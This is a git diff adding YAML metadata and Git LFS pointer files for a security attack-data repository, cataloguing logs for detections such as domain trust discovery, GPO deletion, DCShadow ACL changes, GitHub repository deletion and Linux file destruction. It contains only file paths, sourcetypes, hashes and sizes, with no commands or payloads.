39892ff9-ef19-441c-81c7-f95ccf9ddb55 +date: '2026-07-10' +description: Curated attack data generated for detection DSQuery Domain Discovery +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1482/atomic_red_team/windows-sysmon-39892ff9-ef19-441c-81c7-f95ccf9ddb55.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1482/atomic_red_team/windows-sysmon-39892ff9-ef19-441c-81c7-f95ccf9ddb55.log b/datasets/attack_techniques/T1482/atomic_red_team/windows-sysmon-39892ff9-ef19-441c-81c7-f95ccf9ddb55.log new file mode 100644 index 000000000..afb0e7a62 --- /dev/null +++ b/datasets/attack_techniques/T1482/atomic_red_team/windows-sysmon-39892ff9-ef19-441c-81c7-f95ccf9ddb55.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:050974c6b8fe08a03f0d01db864317efce90c46db27a534b70acf2ea3d0b0898 +size 5980 diff --git a/datasets/attack_techniques/T1482/discovery/T1482_discovery.yml b/datasets/attack_techniques/T1482/discovery/T1482_discovery.yml new file mode 100644 index 000000000..59078b129 --- /dev/null +++ b/datasets/attack_techniques/T1482/discovery/T1482_discovery.yml @@ -0,0 +1,16 @@ +author: STRT +id: 7e94834c-0a6b-4dde-a236-910af251d430 +date: '2026-07-10' +description: Curated attack data generated for detection Get-DomainTrust with PowerShell +environment: attack_range +directory: discovery +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1482/discovery/windows-sysmon-7e94834c-0a6b-4dde-a236-910af251d430.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1482/discovery/windows-powershell-xml-7e94834c-0a6b-4dde-a236-910af251d430.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1482/discovery/windows-powershell-xml-7e94834c-0a6b-4dde-a236-910af251d430.log b/datasets/attack_techniques/T1482/discovery/windows-powershell-xml-7e94834c-0a6b-4dde-a236-910af251d430.log new file mode 100644 index 000000000..019dd2837 --- /dev/null +++ b/datasets/attack_techniques/T1482/discovery/windows-powershell-xml-7e94834c-0a6b-4dde-a236-910af251d430.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:447134271f6df1aa89b2d4f12ec255bb7fd41662760b9248ae6a1446da9b332c +size 76320 diff --git a/datasets/attack_techniques/T1482/discovery/windows-sysmon-7e94834c-0a6b-4dde-a236-910af251d430.log b/datasets/attack_techniques/T1482/discovery/windows-sysmon-7e94834c-0a6b-4dde-a236-910af251d430.log new file mode 100644 index 000000000..75b848a43 --- /dev/null +++ b/datasets/attack_techniques/T1482/discovery/windows-sysmon-7e94834c-0a6b-4dde-a236-910af251d430.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:00aeaca2fafd11a6b72fe627e085da2733f2cbd257680f0b0368e19f2acb89dd +size 4350 diff --git a/datasets/attack_techniques/T1482/snapattack/T1482_snapattack.yml b/datasets/attack_techniques/T1482/snapattack/T1482_snapattack.yml new file mode 100644 index 000000000..36edab638 --- /dev/null +++ b/datasets/attack_techniques/T1482/snapattack/T1482_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 250d1229-3435-40ed-8c84-cf6c2cc4e4ff +date: '2026-07-11' +description: Curated attack data generated for detection Windows ConvertTo-AADIntBackdoor + Execution Via PowerShell Script +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1482/snapattack/snapattack-250d1229-3435-40ed-8c84-cf6c2cc4e4ff.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1482/snapattack/snapattack-250d1229-3435-40ed-8c84-cf6c2cc4e4ff.log b/datasets/attack_techniques/T1482/snapattack/snapattack-250d1229-3435-40ed-8c84-cf6c2cc4e4ff.log new file mode 100644 index 000000000..f9011b18c --- /dev/null +++ b/datasets/attack_techniques/T1482/snapattack/snapattack-250d1229-3435-40ed-8c84-cf6c2cc4e4ff.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9f55b6b1e1e23a58e5e5277015acf7985935f99222e164e89141ebda46d5494b +size 4624 diff --git a/datasets/attack_techniques/T1484.001/default_domain_policy_modified/T1484.001_default_domain_policy_modified.yml b/datasets/attack_techniques/T1484.001/default_domain_policy_modified/T1484.001_default_domain_policy_modified.yml new file mode 100644 index 000000000..1b7461dfe --- /dev/null +++ b/datasets/attack_techniques/T1484.001/default_domain_policy_modified/T1484.001_default_domain_policy_modified.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3a127511-3020-4c8c-9109-4a414a5009a6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Default Group Policy + Object Modified +environment: attack_range +directory: default_domain_policy_modified +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1484.001/default_domain_policy_modified/windows-security-3a127511-3020-4c8c-9109-4a414a5009a6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1484.001/default_domain_policy_modified/windows-security-3a127511-3020-4c8c-9109-4a414a5009a6.log b/datasets/attack_techniques/T1484.001/default_domain_policy_modified/windows-security-3a127511-3020-4c8c-9109-4a414a5009a6.log new file mode 100644 index 000000000..9c0ee4ca8 --- /dev/null +++ b/datasets/attack_techniques/T1484.001/default_domain_policy_modified/windows-security-3a127511-3020-4c8c-9109-4a414a5009a6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f423c092bb64fefe368634c80d10e5363fa62ca01a1c51558971aeea6b5093e7 +size 2170 diff --git a/datasets/attack_techniques/T1484.001/group_policy_deleted/T1484.001_group_policy_deleted.yml b/datasets/attack_techniques/T1484.001/group_policy_deleted/T1484.001_group_policy_deleted.yml new file mode 100644 index 000000000..cc67f8213 --- /dev/null +++ b/datasets/attack_techniques/T1484.001/group_policy_deleted/T1484.001_group_policy_deleted.yml @@ -0,0 +1,12 @@ +author: STRT +id: 7769a23a-45a9-450e-8f83-af705cfa79a9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD GPO Deleted +environment: attack_range +directory: group_policy_deleted +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1484.001/group_policy_deleted/windows-security-7769a23a-45a9-450e-8f83-af705cfa79a9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1484.001/group_policy_deleted/windows-security-7769a23a-45a9-450e-8f83-af705cfa79a9.log b/datasets/attack_techniques/T1484.001/group_policy_deleted/windows-security-7769a23a-45a9-450e-8f83-af705cfa79a9.log new file mode 100644 index 000000000..ca924c3a6 --- /dev/null +++ b/datasets/attack_techniques/T1484.001/group_policy_deleted/windows-security-7769a23a-45a9-450e-8f83-af705cfa79a9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0b7905e40c55529ca478ba059ea8f757100209555906e5db06dcdfaf82dfc681 +size 3802 diff --git a/datasets/attack_techniques/T1484.001/group_policy_new_cse/T1484.001_group_policy_new_cse.yml b/datasets/attack_techniques/T1484.001/group_policy_new_cse/T1484.001_group_policy_new_cse.yml new file mode 100644 index 000000000..920a9621e --- /dev/null +++ b/datasets/attack_techniques/T1484.001/group_policy_new_cse/T1484.001_group_policy_new_cse.yml @@ -0,0 +1,12 @@ +author: STRT +id: 68ab4cf1-32a9-43da-a396-772d2d970f9a +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD GPO New CSE Addition +environment: attack_range +directory: group_policy_new_cse +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1484.001/group_policy_new_cse/windows-security-68ab4cf1-32a9-43da-a396-772d2d970f9a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1484.001/group_policy_new_cse/windows-security-68ab4cf1-32a9-43da-a396-772d2d970f9a.log b/datasets/attack_techniques/T1484.001/group_policy_new_cse/windows-security-68ab4cf1-32a9-43da-a396-772d2d970f9a.log new file mode 100644 index 000000000..852940dbf --- /dev/null +++ b/datasets/attack_techniques/T1484.001/group_policy_new_cse/windows-security-68ab4cf1-32a9-43da-a396-772d2d970f9a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8260d004d7d71574ce22753595130df572ba2de2100986519c854315f404ea8b +size 8913 diff --git a/datasets/attack_techniques/T1484.002/new_federated_domain/T1484.002_new_federated_domain.yml b/datasets/attack_techniques/T1484.002/new_federated_domain/T1484.002_new_federated_domain.yml new file mode 100644 index 000000000..5b5eca8f1 --- /dev/null +++ b/datasets/attack_techniques/T1484.002/new_federated_domain/T1484.002_new_federated_domain.yml @@ -0,0 +1,13 @@ +author: STRT +id: 20298b80-ffd2-4e61-9539-0c497d70cdec +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD New Custom Domain + Added +environment: attack_range +directory: new_federated_domain +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1484.002/new_federated_domain/azure-audit-20298b80-ffd2-4e61-9539-0c497d70cdec.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1484.002/new_federated_domain/azure-audit-20298b80-ffd2-4e61-9539-0c497d70cdec.log b/datasets/attack_techniques/T1484.002/new_federated_domain/azure-audit-20298b80-ffd2-4e61-9539-0c497d70cdec.log new file mode 100644 index 000000000..0139beab9 --- /dev/null +++ b/datasets/attack_techniques/T1484.002/new_federated_domain/azure-audit-20298b80-ffd2-4e61-9539-0c497d70cdec.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:732f0a9ac3f35f5fa6d25f29913cedf73301f545492268b308b3975a2b7c7860 +size 1630 diff --git a/datasets/attack_techniques/T1484/DCShadowPermissions/T1484_DCShadowPermissions.yml b/datasets/attack_techniques/T1484/DCShadowPermissions/T1484_DCShadowPermissions.yml new file mode 100644 index 000000000..8e4d6355a --- /dev/null +++ b/datasets/attack_techniques/T1484/DCShadowPermissions/T1484_DCShadowPermissions.yml @@ -0,0 +1,13 @@ +author: STRT +id: af09705b-8f52-4921-9c77-78a90307ab54 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD DCShadow Privileges + ACL Addition +environment: attack_range +directory: DCShadowPermissions +mitre_technique: [] +datasets: +- name: windows-security-xml + path: /datasets/attack_techniques/T1484/DCShadowPermissions/windows-security-xml-af09705b-8f52-4921-9c77-78a90307ab54.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1484/DCShadowPermissions/windows-security-xml-af09705b-8f52-4921-9c77-78a90307ab54.log b/datasets/attack_techniques/T1484/DCShadowPermissions/windows-security-xml-af09705b-8f52-4921-9c77-78a90307ab54.log new file mode 100644 index 000000000..13f0d3eb3 --- /dev/null +++ b/datasets/attack_techniques/T1484/DCShadowPermissions/windows-security-xml-af09705b-8f52-4921-9c77-78a90307ab54.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fdbce6d3dded92bab567ebffc06796636392d8c4b689cd96e97b1cf459bcf964 +size 7558 diff --git a/datasets/attack_techniques/T1484/aclmodification/T1484_aclmodification.yml b/datasets/attack_techniques/T1484/aclmodification/T1484_aclmodification.yml new file mode 100644 index 000000000..86ca88ce0 --- /dev/null +++ b/datasets/attack_techniques/T1484/aclmodification/T1484_aclmodification.yml @@ -0,0 +1,13 @@ +author: STRT +id: 2325923c-8f29-48f7-aa38-76d49ea5516d +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD Domain Replication + ACL Addition +environment: attack_range +directory: aclmodification +mitre_technique: [] +datasets: +- name: windows-security-xml + path: /datasets/attack_techniques/T1484/aclmodification/windows-security-xml-2325923c-8f29-48f7-aa38-76d49ea5516d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1484/aclmodification/windows-security-xml-2325923c-8f29-48f7-aa38-76d49ea5516d.log b/datasets/attack_techniques/T1484/aclmodification/windows-security-xml-2325923c-8f29-48f7-aa38-76d49ea5516d.log new file mode 100644 index 000000000..4f4bdf125 --- /dev/null +++ b/datasets/attack_techniques/T1484/aclmodification/windows-security-xml-2325923c-8f29-48f7-aa38-76d49ea5516d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6597ce5573daedc78f142aed06a182243d6ee89536aba196bf9ffad36817752e +size 16318 diff --git a/datasets/attack_techniques/T1485/aws_delete_knowledge_base/T1485_aws_delete_knowledge_base.yml b/datasets/attack_techniques/T1485/aws_delete_knowledge_base/T1485_aws_delete_knowledge_base.yml new file mode 100644 index 000000000..7966e89ea --- /dev/null +++ b/datasets/attack_techniques/T1485/aws_delete_knowledge_base/T1485_aws_delete_knowledge_base.yml @@ -0,0 +1,13 @@ +author: STRT +id: a8a40049-ec6a-4b29-888f-006d3a385f5f +date: '2026-07-10' +description: Curated attack data generated for detection AWS Bedrock Delete Knowledge + Base +environment: attack_range +directory: aws_delete_knowledge_base +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1485/aws_delete_knowledge_base/cloudtrail-a8a40049-ec6a-4b29-888f-006d3a385f5f.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1485/aws_delete_knowledge_base/cloudtrail-a8a40049-ec6a-4b29-888f-006d3a385f5f.log b/datasets/attack_techniques/T1485/aws_delete_knowledge_base/cloudtrail-a8a40049-ec6a-4b29-888f-006d3a385f5f.log new file mode 100644 index 000000000..70b25dd27 --- /dev/null +++ b/datasets/attack_techniques/T1485/aws_delete_knowledge_base/cloudtrail-a8a40049-ec6a-4b29-888f-006d3a385f5f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0074532dade6167059a8b32c6fc31cf16e545d2668686e5c636818b9c77742b5 +size 1415 diff --git a/datasets/attack_techniques/T1485/excessive_file_del_in_windefender_dir/T1485_excessive_file_del_in_windefender_dir.yml b/datasets/attack_techniques/T1485/excessive_file_del_in_windefender_dir/T1485_excessive_file_del_in_windefender_dir.yml new file mode 100644 index 000000000..114b2ebab --- /dev/null +++ b/datasets/attack_techniques/T1485/excessive_file_del_in_windefender_dir/T1485_excessive_file_del_in_windefender_dir.yml @@ -0,0 +1,13 @@ +author: STRT +id: c2ff8a17-564f-469a-bfa9-816295d92851 +date: '2026-07-10' +description: Curated attack data generated for detection Excessive File Deletion In + WinDefender Folder +environment: attack_range +directory: excessive_file_del_in_windefender_dir +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1485/excessive_file_del_in_windefender_dir/sysmon-c2ff8a17-564f-469a-bfa9-816295d92851.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1485/excessive_file_del_in_windefender_dir/sysmon-c2ff8a17-564f-469a-bfa9-816295d92851.log b/datasets/attack_techniques/T1485/excessive_file_del_in_windefender_dir/sysmon-c2ff8a17-564f-469a-bfa9-816295d92851.log new file mode 100644 index 000000000..04f8b708e --- /dev/null +++ b/datasets/attack_techniques/T1485/excessive_file_del_in_windefender_dir/sysmon-c2ff8a17-564f-469a-bfa9-816295d92851.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:85c8325771ceb909c4a2f220cf0ed827342e35fa52b63300ad71dd642dee5114 +size 1327665 diff --git a/datasets/attack_techniques/T1485/github_archived_repository/T1485_github_archived_repository.yml b/datasets/attack_techniques/T1485/github_archived_repository/T1485_github_archived_repository.yml new file mode 100644 index 000000000..b623dec7e --- /dev/null +++ b/datasets/attack_techniques/T1485/github_archived_repository/T1485_github_archived_repository.yml @@ -0,0 +1,13 @@ +author: STRT +id: 710720d0-8b04-4244-b924-e4c436849111 +date: '2026-07-10' +description: Curated attack data generated for detection GitHub Enterprise Repository + Archived +environment: attack_range +directory: github_archived_repository +mitre_technique: [] +datasets: +- name: github + path: /datasets/attack_techniques/T1485/github_archived_repository/github-710720d0-8b04-4244-b924-e4c436849111.log + sourcetype: httpevent + source: http:github diff --git a/datasets/attack_techniques/T1485/github_archived_repository/github-710720d0-8b04-4244-b924-e4c436849111.log b/datasets/attack_techniques/T1485/github_archived_repository/github-710720d0-8b04-4244-b924-e4c436849111.log new file mode 100644 index 000000000..7ca1b0be1 --- /dev/null +++ b/datasets/attack_techniques/T1485/github_archived_repository/github-710720d0-8b04-4244-b924-e4c436849111.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c393f470fb4280764313907ceab9c1fd8ae4852224e4b36a3c7dbbb9eb59694d +size 577 diff --git a/datasets/attack_techniques/T1485/github_delete_repository/T1485_github_delete_repository.yml b/datasets/attack_techniques/T1485/github_delete_repository/T1485_github_delete_repository.yml new file mode 100644 index 000000000..6597667a1 --- /dev/null +++ b/datasets/attack_techniques/T1485/github_delete_repository/T1485_github_delete_repository.yml @@ -0,0 +1,13 @@ +author: STRT +id: 75f5d8bf-b6dd-4c17-aab0-acf384583688 +date: '2026-07-10' +description: Curated attack data generated for detection GitHub Enterprise Repository + Deleted +environment: attack_range +directory: github_delete_repository +mitre_technique: [] +datasets: +- name: github + path: /datasets/attack_techniques/T1485/github_delete_repository/github-75f5d8bf-b6dd-4c17-aab0-acf384583688.log + sourcetype: httpevent + source: http:github diff --git a/datasets/attack_techniques/T1485/github_delete_repository/github-75f5d8bf-b6dd-4c17-aab0-acf384583688.log b/datasets/attack_techniques/T1485/github_delete_repository/github-75f5d8bf-b6dd-4c17-aab0-acf384583688.log new file mode 100644 index 000000000..330ce9130 --- /dev/null +++ b/datasets/attack_techniques/T1485/github_delete_repository/github-75f5d8bf-b6dd-4c17-aab0-acf384583688.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8015df4fa1c730433049f23fa39c7fd43f9dd79661267700de94b388416e26ca +size 603 diff --git a/datasets/attack_techniques/T1485/github_remove_organization/T1485_github_remove_organization.yml b/datasets/attack_techniques/T1485/github_remove_organization/T1485_github_remove_organization.yml new file mode 100644 index 000000000..450038a14 --- /dev/null +++ b/datasets/attack_techniques/T1485/github_remove_organization/T1485_github_remove_organization.yml @@ -0,0 +1,13 @@ +author: STRT +id: 814dfdb9-3a9d-4260-8c67-dd667fd9132f +date: '2026-07-10' +description: Curated attack data generated for detection GitHub Enterprise Remove + Organization +environment: attack_range +directory: github_remove_organization +mitre_technique: [] +datasets: +- name: github + path: /datasets/attack_techniques/T1485/github_remove_organization/github-814dfdb9-3a9d-4260-8c67-dd667fd9132f.log + sourcetype: httpevent + source: http:github diff --git a/datasets/attack_techniques/T1485/github_remove_organization/github-814dfdb9-3a9d-4260-8c67-dd667fd9132f.log b/datasets/attack_techniques/T1485/github_remove_organization/github-814dfdb9-3a9d-4260-8c67-dd667fd9132f.log new file mode 100644 index 000000000..84ffeb1dd --- /dev/null +++ b/datasets/attack_techniques/T1485/github_remove_organization/github-814dfdb9-3a9d-4260-8c67-dd667fd9132f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2ddf061458c3bae2d3cea21279af0aaebf8e4dfe08d18f85d5080ff651d795d0 +size 515 diff --git a/datasets/attack_techniques/T1485/linux_dd_file_overwrite/T1485_linux_dd_file_overwrite.yml b/datasets/attack_techniques/T1485/linux_dd_file_overwrite/T1485_linux_dd_file_overwrite.yml new file mode 100644 index 000000000..8bb7ae1b9 --- /dev/null +++ b/datasets/attack_techniques/T1485/linux_dd_file_overwrite/T1485_linux_dd_file_overwrite.yml @@ -0,0 +1,12 @@ +author: STRT +id: ac1207ca-d389-4767-bda8-33a7d69f3f61 +date: '2026-07-10' +description: Curated attack data generated for detection Linux DD File Overwrite +environment: attack_range +directory: linux_dd_file_overwrite +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1485/linux_dd_file_overwrite/sysmon_linux-ac1207ca-d389-4767-bda8-33a7d69f3f61.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1485/linux_dd_file_overwrite/sysmon_linux-ac1207ca-d389-4767-bda8-33a7d69f3f61.log b/datasets/attack_techniques/T1485/linux_dd_file_overwrite/sysmon_linux-ac1207ca-d389-4767-bda8-33a7d69f3f61.log new file mode 100644 index 000000000..3feca8a19 --- /dev/null +++ b/datasets/attack_techniques/T1485/linux_dd_file_overwrite/sysmon_linux-ac1207ca-d389-4767-bda8-33a7d69f3f61.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:56ce31d5cfff644daf96e6a6b306148543fbf2c64193e39791ee4a8eeab233da +size 3076 diff --git a/datasets/attack_techniques/T1485/ransomware_notes/T1485_ransomware_notes.yml b/datasets/attack_techniques/T1485/ransomware_notes/T1485_ransomware_notes.yml new file mode 100644 index 000000000..5901e53fd --- /dev/null +++ b/datasets/attack_techniques/T1485/ransomware_notes/T1485_ransomware_notes.yml @@ -0,0 +1,16 @@ +author: STRT +id: c7571450-5839-406e-927f-522fe9887fb6 +date: '2026-07-10' +description: Curated attack data generated for detection Common Ransomware Extensions +environment: attack_range +directory: ransomware_notes +mitre_technique: [] +datasets: +- name: ransom-sysmon + path: /datasets/attack_techniques/T1485/ransomware_notes/ransom-sysmon-c7571450-5839-406e-927f-522fe9887fb6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1485/ransomware_notes/windows-sysmon-c7571450-5839-406e-927f-522fe9887fb6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1485/ransomware_notes/ransom-sysmon-c7571450-5839-406e-927f-522fe9887fb6.log b/datasets/attack_techniques/T1485/ransomware_notes/ransom-sysmon-c7571450-5839-406e-927f-522fe9887fb6.log new file mode 100644 index 000000000..e20d4dde4 --- /dev/null +++ b/datasets/attack_techniques/T1485/ransomware_notes/ransom-sysmon-c7571450-5839-406e-927f-522fe9887fb6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d046a91c4b133579f57edf0283cf3b2199c3fa56ec0a10902214e41c1b366d5b +size 3248 diff --git a/datasets/attack_techniques/T1485/ransomware_notes/windows-sysmon-c7571450-5839-406e-927f-522fe9887fb6.log b/datasets/attack_techniques/T1485/ransomware_notes/windows-sysmon-c7571450-5839-406e-927f-522fe9887fb6.log new file mode 100644 index 000000000..aa79128af --- /dev/null +++ b/datasets/attack_techniques/T1485/ransomware_notes/windows-sysmon-c7571450-5839-406e-927f-522fe9887fb6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:07cb1edfc5b3e39c21408ca4061af68226d45fc3df741dbe2ef2dbe30cecb5d2 +size 1040 diff --git a/datasets/attack_techniques/T1485/rm_boot_dir/T1485_rm_boot_dir.yml b/datasets/attack_techniques/T1485/rm_boot_dir/T1485_rm_boot_dir.yml new file mode 100644 index 000000000..54c6d4a92 --- /dev/null +++ b/datasets/attack_techniques/T1485/rm_boot_dir/T1485_rm_boot_dir.yml @@ -0,0 +1,13 @@ +author: STRT +id: 30907e17-1be8-42f8-bfa0-972c67f4baf2 +date: '2026-07-10' +description: Curated attack data generated for detection Linux High Frequency Of File + Deletion In Boot Folder +environment: attack_range +directory: rm_boot_dir +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1485/rm_boot_dir/sysmon_linux-30907e17-1be8-42f8-bfa0-972c67f4baf2.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1485/rm_boot_dir/sysmon_linux-30907e17-1be8-42f8-bfa0-972c67f4baf2.log b/datasets/attack_techniques/T1485/rm_boot_dir/sysmon_linux-30907e17-1be8-42f8-bfa0-972c67f4baf2.log new file mode 100644 index 000000000..12a10994c --- /dev/null +++ b/datasets/attack_techniques/T1485/rm_boot_dir/sysmon_linux-30907e17-1be8-42f8-bfa0-972c67f4baf2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bcb06ad002f200c57dfd1bed0d8d1490712ce2e7abfccfa9ae36ccb9d8ef64af +size 272866 diff --git a/datasets/attack_techniques/T1485/rm_shred_critical_dir/T1485_rm_shred_critical_dir.yml b/datasets/attack_techniques/T1485/rm_shred_critical_dir/T1485_rm_shred_critical_dir.yml new file mode 100644 index 000000000..2020054ae --- /dev/null +++ b/datasets/attack_techniques/T1485/rm_shred_critical_dir/T1485_rm_shred_critical_dir.yml @@ -0,0 +1,13 @@ +author: STRT +id: 107f3594-e347-4e22-86d4-e4e33072eef7 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Deleting Critical Directory + Using RM Command +environment: attack_range +directory: rm_shred_critical_dir +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1485/rm_shred_critical_dir/sysmon_linux-107f3594-e347-4e22-86d4-e4e33072eef7.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1485/rm_shred_critical_dir/sysmon_linux-107f3594-e347-4e22-86d4-e4e33072eef7.log b/datasets/attack_techniques/T1485/rm_shred_critical_dir/sysmon_linux-107f3594-e347-4e22-86d4-e4e33072eef7.log new file mode 100644 index 000000000..f1178b3a4 --- /dev/null +++ b/datasets/attack_techniques/T1485/rm_shred_critical_dir/sysmon_linux-107f3594-e347-4e22-86d4-e4e33072eef7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4299fefba50e2998f6933b5444d9b02d8786d439268f32ba5ea2b625c8dbb4f7 +size 4545 diff --git a/datasets/attack_techniques/T1485/sdelete/T1485_sdelete.yml b/datasets/attack_techniques/T1485/sdelete/T1485_sdelete.yml new file mode 100644 index 000000000..d63401ed4 --- /dev/null +++ b/datasets/attack_techniques/T1485/sdelete/T1485_sdelete.yml @@ -0,0 +1,12 @@ +author: STRT +id: a8a56f19-2538-484f-80e7-a04b62e8ecdd +date: '2026-07-11' +description: Curated attack data generated for detection Sdelete Application Execution +environment: attack_range +directory: sdelete +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1485/sdelete/sysmon-a8a56f19-2538-484f-80e7-a04b62e8ecdd.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1485/sdelete/sysmon-a8a56f19-2538-484f-80e7-a04b62e8ecdd.log b/datasets/attack_techniques/T1485/sdelete/sysmon-a8a56f19-2538-484f-80e7-a04b62e8ecdd.log new file mode 100644 index 000000000..57ded70f6 --- /dev/null +++ b/datasets/attack_techniques/T1485/sdelete/sysmon-a8a56f19-2538-484f-80e7-a04b62e8ecdd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fc4fd3ab20b7c6f8ae2bd500d329cb28a519d829af64a0db020f2920d7b9549f +size 1861 diff --git a/datasets/attack_techniques/T1486/aws_kms_key/T1486_aws_kms_key.yml b/datasets/attack_techniques/T1486/aws_kms_key/T1486_aws_kms_key.yml new file mode 100644 index 000000000..3a6616860 --- /dev/null +++ b/datasets/attack_techniques/T1486/aws_kms_key/T1486_aws_kms_key.yml @@ -0,0 +1,17 @@ +author: STRT +id: 049327e3-d0eb-433f-bf71-1da7d0aece62 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Detect Users creating + keys with encrypt policy without MFA +environment: attack_range +directory: aws_kms_key +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1486/aws_kms_key/asl_ocsf_cloudtrail-049327e3-d0eb-433f-bf71-1da7d0aece62.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1486/aws_kms_key/aws_cloudtrail_events-049327e3-d0eb-433f-bf71-1da7d0aece62.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1486/aws_kms_key/asl_ocsf_cloudtrail-049327e3-d0eb-433f-bf71-1da7d0aece62.log b/datasets/attack_techniques/T1486/aws_kms_key/asl_ocsf_cloudtrail-049327e3-d0eb-433f-bf71-1da7d0aece62.log new file mode 100644 index 000000000..4ce0ac18d --- /dev/null +++ b/datasets/attack_techniques/T1486/aws_kms_key/asl_ocsf_cloudtrail-049327e3-d0eb-433f-bf71-1da7d0aece62.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ea4dcac71bd056a05983fb0da9b31fe133481bc158efde444ba75db200d3c456 +size 6450 diff --git 